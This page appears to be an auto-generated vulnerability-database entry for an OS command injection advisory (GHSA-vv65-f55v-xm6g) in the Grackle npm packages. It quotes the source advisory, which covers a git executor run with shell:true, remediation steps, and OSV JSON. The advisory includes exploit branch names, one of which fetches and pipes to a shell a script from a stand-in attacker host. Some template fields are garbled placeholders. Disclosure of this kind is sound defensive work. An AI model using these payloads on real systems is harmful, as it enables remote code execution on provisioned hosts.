Vulnerabilities in pkg:npm/@grackle-ai/powerline

PACKAGE
Advisory Summary

GHSA-vv65-f55v-xm6g is a HIGH true) vulnerability (CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')) affecting @grackle ai/runtime sdk libraries in the npm ecosystem. The issue involves true). Remediation is available in the latest vendor maintenance releases.

2 Known Advisory Record(s)
Package Vulnerability Intelligence

pkg:npm/@grackle-ai/powerline

2 Known Advisory Record(s)

Vulnerability advisories affecting package pkg:npm/@grackle-ai/powerline. Select an advisory below to view technical details or fixes.

Advisory ID CVE / NVD Severity Summary
GHSA-vv65-f55v-xm6g - HIGH Grackle has command/argument injection in the git worktree executor that enables RCE on provisioned hosts via an unsanitized task branch name (shell:true)
GHSA-xq7h-vwjp-5vrh - MODERATE @grackle-ai/powerline Runs Without Authentication by Default

GHSA-vv65-f55v-xm6g at a Glance

CVE Identifier N/A
GHSA Identifier GHSA-vv65-f55v-xm6g
Severity HIGH
CVSS v3.1 Base Score N/A
CWE Classification CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
Affected Product @grackle ai/runtime sdk
Package Ecosystem npm
Published Date
Last Updated

How to Fix GHSA-vv65-f55v-xm6g

To remediate this vulnerability, upgrade all affected @grackle ai/runtime sdk dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

@grackle-ai/runtime-sdk fixed: Latest secure release
npm install @grackle-ai/runtime-sdk@Latest secure release
@grackle-ai/powerline fixed: Latest secure release
npm install @grackle-ai/powerline@Latest secure release
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls @grackle-ai/runtime-sdk

How to Check if You Are Affected

To determine whether your Node.js application is affected by GHSA-vv65-f55v-xm6g, inspect your project dependencies using npm:

npm ls @grackle-ai/runtime-sdk

Analyze the terminal output to locate any version of @grackle ai/runtime sdk in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than the patched release), your application is affected.

Note: The npm ls @grackle-ai/runtime-sdk command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection'), where the product constructs all or part of an os command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended os command when it is sent to a downstream component. In @grackle ai/runtime sdk, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary The default git executor used for all worktree operations spawns `git` through a shell, and the untrusted task **branch** name flows into the command unsanitized. A caller able to reach the PowerLine `SpawnSession` RPC (a malicious or compromised agent acting through the orchestration layer, or any client able to spawn a task) can achieve **arbitrary command execution** as the PowerLine user on every provisioned environment (SSH host, Docker container, or Codespace), escaping the agent sandbox. This advisory bundles two related defects in `worktree.ts` (audit findings **F1** and **F13**). ## Affected versions `@grackle-ai/runtime-sdk` (and reachable via `@grackle-ai/powerline`) at version **0.132.1** and earlier. All publishable packages are lockstep-versioned. ## F1 — Command injection via `shell:true` (primary, High) **Location:** `packages/runtime-sdk/src/worktree.ts:22-28` (sink), `:135-143` (branch → args). Source: `packages/powerline/src/grpc-server.ts:112` (`req.branch`), `packages/runtime-sdk/src/base-session.ts:60,137`. `NODE_GIT_EXECUTOR.exec` runs: ```ts const shell = process.env.SHELL || true; // worktree.ts:24 — always truthy const result = await execRaw("git", args, { ...options, shell }); ``` When `shell` is truthy, Node does **not** pass `args` as a safe argv vector — it concatenates `git` + args into a single string run through `sh -c` with **no escaping**. The untrusted `branch` flows unvalidated from the `SpawnSession` gRPC request into: ```ts ["worktree", "add", "-b", branch, wtPath, startPoint] // worktree.ts:135-137 ["worktree", "add", wtPath, branch] // fallback :143 ``` `sanitizeBranch()` (`worktree.ts:50`) is applied **only** to compute the on-disk worktree directory path — *not* to the `-b <branch>` argument — so it provides zero protection at the injection sink. **Exploit:** set a task branch to `x;curl http://attacker/x.sh|sh;#` or `$(touch /tmp/pwned)`. `ensureWorktree` runs it under `sh -c`, yielding RCE as the PowerLine user. (Empirically confirmed during the audit: an args-array branch value `evilbranch;touch /tmp/PWNED` created the file.) The sibling git path in `runtime-utils.ts:48-56` already uses `execFileAsync("git", [...])` with **no** shell, confirming `shell:true` is unnecessary here. ## F13 — Argument injection: missing `--` separator (residual, Low) **Location:** `packages/runtime-sdk/src/worktree.ts:135-143`. Independent of the shell issue, `branch` is placed as a positional argument with no `--` terminator. The sibling `checkoutBranch` (`runtime-utils.ts:51`) correctly uses `["checkout", "--", branch]`. Only the fallback invocation (bare trailing positional) is genuinely flag-injectable; `git worktree add` exposes no dangerous flags reachable this way, so standalone impact is limited — but it should be hardened alongside F1. ## Remediation 1. **Remove `shell` from `NODE_GIT_EXECUTOR`** — `execFile('git', args)` with the argv array is already safe and is the pattern used in `runtime-utils.ts`. This is the primary fix. 2. Add a `--` separator before positional refs/paths in both `worktree add` invocations. 3. **Defense in depth:** validate `branch` at the gRPC boundary (`grpc-server.ts`) against git ref rules — reject names beginning with `-`, containing `..`, or containing shell metacharacters — before it reaches `ensureWorktree`.

GHSA-vv65-f55v-xm6g Affected @grackle ai/runtime sdk Versions

2 component(s)
Product / Package Ecosystem Affected Versions Fixed Version
@grackle-ai/runtime-sdk
npm
≤ 0.132.1
@grackle-ai/powerline
npm
≤ 0.132.1

References

Frequently Asked Questions

What is GHSA-vv65-f55v-xm6g?
GHSA-vv65-f55v-xm6g is a security vulnerability in @grackle ai/runtime sdk involving true) under CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection').
Which @grackle ai/runtime sdk versions are affected?
Affected versions include releases prior to current release patches across affected packages: @grackle-ai/runtime-sdk, @grackle-ai/powerline.
What version fixes GHSA-vv65-f55v-xm6g?
Upgrading to current release patches (or the latest patched release for your respective branch) resolves the vulnerability.
Is @grackle-ai/runtime-sdk affected?
Yes, @grackle-ai/runtime-sdk is affected in releases prior to Latest secure release. Upgrade your dependency to Latest secure release or later.
Is @grackle-ai/powerline affected?
Yes, @grackle-ai/powerline is affected in releases prior to Latest secure release. Upgrade your dependency to Latest secure release or later.
What CWE is associated with GHSA-vv65-f55v-xm6g?
GHSA-vv65-f55v-xm6g is classified under CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') (The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.).
How can I check npm dependencies for GHSA-vv65-f55v-xm6g?
Run the dependency tree command: 'npm ls @grackle-ai/runtime-sdk'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-vv65-f55v-xm6g",
  "modified" : "2026-07-02T19:16:57Z",
  "published" : "2026-07-02T19:16:57Z",
  "aliases" : [ ],
  "summary" : "Grackle has command/argument injection in the git worktree executor that enables RCE on provisioned hosts via an unsanitized task branch name (shell:true)",
  "details" : "## Summary\n\nThe default git executor used for all worktree operations spawns `git` through a shell, and the untrusted task **branch** name flows into the command unsanitized. A caller able to reach the PowerLine `SpawnSession` RPC (a malicious or compromised agent acting through the orchestration layer, or any client able to spawn a task) can achieve **arbitrary command execution** as the PowerLine user on every provisioned environment (SSH host, Docker container, or Codespace), escaping the agent sandbox.\n\nThis advisory bundles two related defects in `worktree.ts` (audit findings **F1** and **F13**).\n\n## Affected versions\n\n`@grackle-ai/runtime-sdk` (and reachable via `@grackle-ai/powerline`) at version **0.132.1** and earlier. All publishable packages are lockstep-versioned.\n\n## F1 — Command injection via `shell:true` (primary, High)\n\n**Location:** `packages/runtime-sdk/src/worktree.ts:22-28` (sink), `:135-143` (branch → args). Source: `packages/powerline/src/grpc-server.ts:112` (`req.branch`), `packages/runtime-sdk/src/base-session.ts:60,137`.\n\n`NODE_GIT_EXECUTOR.exec` runs:\n\n```ts\nconst shell = process.env.SHELL || true;   // worktree.ts:24 — always truthy\nconst result = await execRaw(\"git\", args, { ...options, shell });\n```\n\nWhen `shell` is truthy, Node does **not** pass `args` as a safe argv vector — it concatenates `git` + args into a single string run through `sh -c` with **no escaping**. The untrusted `branch` flows unvalidated from the `SpawnSession` gRPC request into:\n\n```ts\n[\"worktree\", \"add\", \"-b\", branch, wtPath, startPoint]   // worktree.ts:135-137\n[\"worktree\", \"add\", wtPath, branch]                     // fallback :143\n```\n\n`sanitizeBranch()` (`worktree.ts:50`) is applied **only** to compute the on-disk worktree directory path — *not* to the `-b <branch>` argument — so it provides zero protection at the injection sink.\n\n**Exploit:** set a task branch to `x;curl http://attacker/x.sh|sh;#` or `$(touch /tmp/pwned)`. `ensureWorktree` runs it under `sh -c`, yielding RCE as the PowerLine user. (Empirically confirmed during the audit: an args-array branch value `evilbranch;touch /tmp/PWNED` created the file.)\n\nThe sibling git path in `runtime-utils.ts:48-56` already uses `execFileAsync(\"git\", [...])` with **no** shell, confirming `shell:true` is unnecessary here.\n\n## F13 — Argument injection: missing `--` separator (residual, Low)\n\n**Location:** `packages/runtime-sdk/src/worktree.ts:135-143`.\n\nIndependent of the shell issue, `branch` is placed as a positional argument with no `--` terminator. The sibling `checkoutBranch` (`runtime-utils.ts:51`) correctly uses `[\"checkout\", \"--\", branch]`. Only the fallback invocation (bare trailing positional) is genuinely flag-injectable; `git worktree add` exposes no dangerous flags reachable this way, so standalone impact is limited — but it should be hardened alongside F1.\n\n## Remediation\n\n1. **Remove `shell` from `NODE_GIT_EXECUTOR`** — `execFile('git', args)` with the argv array is already safe and is the pattern used in `runtime-utils.ts`. This is the primary fix.\n2. Add a `--` separator before positional refs/paths in both `worktree add` invocations.\n3. **Defense in depth:** validate `branch` at the gRPC boundary (`grpc-server.ts`) against git ref rules — reject names beginning with `-`, containing `..`, or containing shell metacharacters — before it reaches `ensureWorktree`.",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "@grackle-ai/runtime-sdk"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "last_affected" : "0.132.1"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "npm",
      "name" : "@grackle-ai/powerline"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "last_affected" : "0.132.1"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/nick-pape/grackle/security/advisories/GHSA-vv65-f55v-xm6g"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/nick-pape/grackle"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-78", "CWE-88" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-07-02T19:16:57Z",
    "nvd_published_at" : null
  }
}